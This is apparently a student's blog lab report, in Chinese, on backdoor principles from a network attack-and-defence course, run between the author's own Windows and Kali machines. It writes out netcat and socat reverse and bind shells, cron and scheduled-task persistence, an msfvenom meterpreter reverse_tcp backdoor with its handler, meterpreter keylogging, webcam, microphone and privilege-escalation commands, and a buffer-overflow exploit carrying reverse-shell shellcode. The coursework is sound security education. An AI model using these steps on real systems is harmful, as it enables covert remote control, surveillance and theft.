网络对抗技术Exp2-后门原理与实践

后门概念
后门就是不经过正常认证流程而访问系统的通道。

哪里有后门呢?

编译器留后门
操作系统留后门
最常见的当然还是应用程序中留后门
还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

下面是近些年的一些例子:

编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
固件:更多思科路由器发现后门:中国有4台
应用:研究人员发现macOS版Skype内置了后门
应用:从广升“后门”事件看企业道德底线
应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?

我们接下来讲得是一个相对狭义一点的后门的概念,

特指潜伏于操作系统中专门做后门的一个程序,
“坏人”可以连接这个程序
远程执行各种指令。
概念和木马有重叠

  • 首先得有这么一个程序
    • netcat 系列
    • meterpreter
    • intersect
    • ...特别多
  • 其次得放到系统里
    • 正版软件故意或被攻击,包含后门
    • 正版库文件中包含后门
    • 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
      • 安装包中包含后门,放到网上供下载
      • 绑定到特定文件中,放到网上供下载
      • 直接发送恶意程序给你
      • 直接发送攻击性钓鱼链接给你,恶意网站种马
      • 捡到个U盘,打开个文件看看?
    • 煤女帅锅拿U盘直接拷给你
    • 攻击系统漏洞,获取控制权后,安装后门
  • 再次还得运行起来
    • 开机自启动技术
    • win的定时任务
    • linux的cron
    • 伪装成常用软件,诱使用户点击
    • 木马化正常软件
  • 最后还得不被本机的恶意代码检测程序发现
    • 恶意代码免杀技术
  • 也不能被本机的或网络上的防火墙发现
    • 反弹式连接
    • 加密连接
    • 隧道技术

基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:从非正规途径下载软件,如果软件捆绑有木马病毒,则会导致在电脑系统内留下后门,黑客就可以通过该可执行文件对pc进行窃听

(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode
(3)Meterpreter有哪些给你映像深刻的功能?
录像和录音功能,以及截屏功能
(4)如何发现自己有系统有没有被安装后门?
利用杀毒软件进行定期的排查
查看任务计划程序、开机自启动项、注册表项中是否有可疑程序

常用的后门工具
win获得linux的shell

先在cmd指令下获得win的IP,ipconfig

从课程活动主页下载ncat到E盘,在cmd中利用cd指令进入到ncat文件夹

输入指令ncat.exe -l -p 端口号打开监听
在kali中输入指令ncat 192.168.50.13 -e /bin/sh,这里的ip是win的ip
这样就可以在win下面执行kali的指令,比如输入ls指令

Win成功获得kali的shell
在这里,kali是监听方,因此在kali中输入指令nc -l -p 4307开启监听
在win的ncat中输入ncat.exe -e cmd.exe 192.168.220.128 4307这里的ip是kali的ip

这时我们就可以在kali中进行对win的指令操作,比如dir指令或者ipconfig指令

使用nc传输数据
Windows下监听5318端口,ncat.exe -l 4307
kali反弹连接到Windows的5318端口,nc 192.168.50.13 4307
连接建立成功,双方可以相互传输数据

这里双方就可以互动聊天了

使用nc传输文件(win-->kali)
首先我们需要在ncat文件夹目录下新建一个txt文本文件,命名为file.in

kali下监听4307端口,并把收到的数据保存到4307中,nc -l -p 8888 > 4307.txt

然后在win的cmd中输入指令ncat 192.168.220.128 < file.in这里的ip是kali的ip
紧接着我们就可以在kali的个人文件夹下面找到4307.txt的文件,说明kali接受到了win传来的文件

使用nc传输文件(kali-->win)
这里我为了方便起见,只是把上面win穿到kali的文件又给它传回去,同时也是验证上述kali接受到的文件是否是win传来的文件
Windows下监听2021端口,并把收到的数据保存到file1中,ncat.exe -l 2021 > file1

kali反弹连接到Windows的2021端口,nc 192.168.50.13 2021 < 4307.txt

连接建立成功,Win可以收到kali发来的文件。
我们打开file.1文件,发现内容和file.in文件内容都是一样的,说明文件一直是正确传输的

Meterpreter
后门就是一个程序。
传统的理解是:有人编写一个后门程序,大家拿来用。
后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
基本功能(基本的连接、执行指令),
扩展功能(如搜集用户信息、安装服务等功能),
编码模式,
运行平台,
以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

典型的平台就包括有:

intersect
Metaspolit的msfvenom指令
Veil-evasion

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型

输出到哪个文件

任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"
在win下,监听0419端口
在kali中输入指令crontab -e指令编辑一条定时任务
(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3,第一次会提示选择编辑器,以后就不会提示了
在最后一行添加58 * * * * /bin/netcat 192.168.50.13 -e /bin/sh,意思是在每个小时的第58分钟反向连接Windows主机的5318端口,

星号代表运行时间,分别是 :分、时、日、月、每周七天中的某天
设置成58的原因是我当时的时间快到58分了,为了能立马看到效果,所以将时间设置成了58
设置完成后按esc,输入:wq退出
等到58分的时候win和kali就自动连上了,此时在win中就能输入kali的指令了

任务二:使用socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。

socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
Win+R输入compmgmt.msc打开“计算机管理”
填写任务名->新建一个触发器
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4307 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4307,同时把cmd.exe的stderr重定向到stdout上

这样就添加了一个新的任务计划程序,可以看出它正处于准备就绪状态,到点就开始运行了,即使错过了定时的时间点,也可以直接右键单击该任务然后选择执行,这样可以随时执行

开始运行后,Windows会弹出一个命令行窗口,让它开着不要关闭。此时在kali中输入socat - tcp:192.168.50.13:4307,此时我们就可以在kali里面调用win的指令了

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.128 LPORT=1843 -f exe > 20184307_backdoor.exe,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“20184307_backdoor.exe”
在Win命令行中进入ncat目录下,执行命令ncat.exe -l 1843 > 20184307_backdoor.exe,这样被控主机也就是Windows主机就进入了接收文件模式,在kali中执行命令nc 198.168.50.13 1843 < 20184307_backdoor.exe,IP地址填Windows主机的,将刚刚生成的文件从kali发送到Windows主机


此时我们可以看到在ncat目录下接受到了20184307backdoor文件
下面在kali中输入msfconsole,进入MSF控制台
输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 198.168.220.128,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 1843,同样要使用相同的端口

设置完成后,执行监听,输入“exploit”

此时电脑自带的杀毒软件已经发现后门,视为木马程序并删除,我从恢复区把它恢复

现在我们可以在kali中调用win指令,如图输入dir,可以看到nact下面的很多文件目录

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间

使用webcam_snap指令可以使用摄像头进行拍照

使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

可以发现我使用了ctrl+c
使用screenshot指令可以进行截屏,效果如下

先使用getuid指令查看当前用户,使用getsystem指令进行提权

任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
首先复制一个pwn1文件到exp2中,重命名为pwn4307

这里的步骤和实验一基本一样
首先是设置堆栈可行并且关闭地址随机化,设置完要紧接着验证一下。这样设置是为了简化实验过程,为本操作的成功执行创设条件。
我们用execstack -s pwn4307来设置堆栈可行,用execstack -q pwn4307来验证堆栈可行有没有设置成功,看见“X 文件名”这种格式的输出就代表设置成功了。
sudo sh -c " echo 0 > /proc/sys/kernel/randomize_va_space来关闭地址随机化,作用是往一个指定的文件里写了一个0,用more /proc/sys/kernel/randomize_va_space来验证有没有关闭成功,这一条命令的输出如果是0的话就表示关闭成功了。
首地址写入下面这段代码中:
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
窗口运行自己的pwn4307文件,我们在文件所在的目录下输入(cat input;cat) | ./pwn4307

然后在第二个窗口,输入ps -ef | grep pwn4307,查看pwn4307的进程号

打开gdb
输入disassemble foo,针对foo函数进行反汇编,可以看到ret的地址为0x080484ae,所以我们就在这个地址设置断点,指令为break *0x080484ae。此时系统会提示自己说,Breakpoint 1 at 0x80484ae,这表明断点设置完毕。

我们在第一个命令行终端按下一次回车键,然后回到第二个终端按下c键继续运行。经历过上面的操作后,我们在第二个终端输入info r esp查看栈顶指针所在的位置及其存放的数据

我们发现esp寄存器的地址是0ffffd1ac,紧接着我们用x/16x 0xffffd18c查看该地址的及其临近地址所存放内容。我们找到了0x04030201,这也正是返回地址的位置。shellcode就挨着,加上4就是了,所以shellcode的地址是 0xffffd1b0
我们把0
ffffd1b0写入input4307,
perl -e 'print "A" x 32;print "\xb0\xd1\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input4307
输入指令(cat input4307;cat) | ./pwn4307


最后通过输入双方通信ip和端口号建立连接

实验中遇到的问题
首先就是我们搞清楚linux和win谁是接受方,谁是监听方,这关系到输入的指令和ip,我在做实验的时候经常把二者弄反,导致实验经常中断。

实验中体会
这次实验遇到的困难很多,有求助同学和博客,我们目前学的只是皮毛,更多的关于网络攻防的知识还需要进一步自己去学习。同时我也明白了在信息化时代,很有可能在不经意间自己的信息就泄露了,所以保护好个人隐私至关重要。

posted @ 2021-03-28 23:52  章森洋  阅读(451)  评论(0编辑  收藏  举报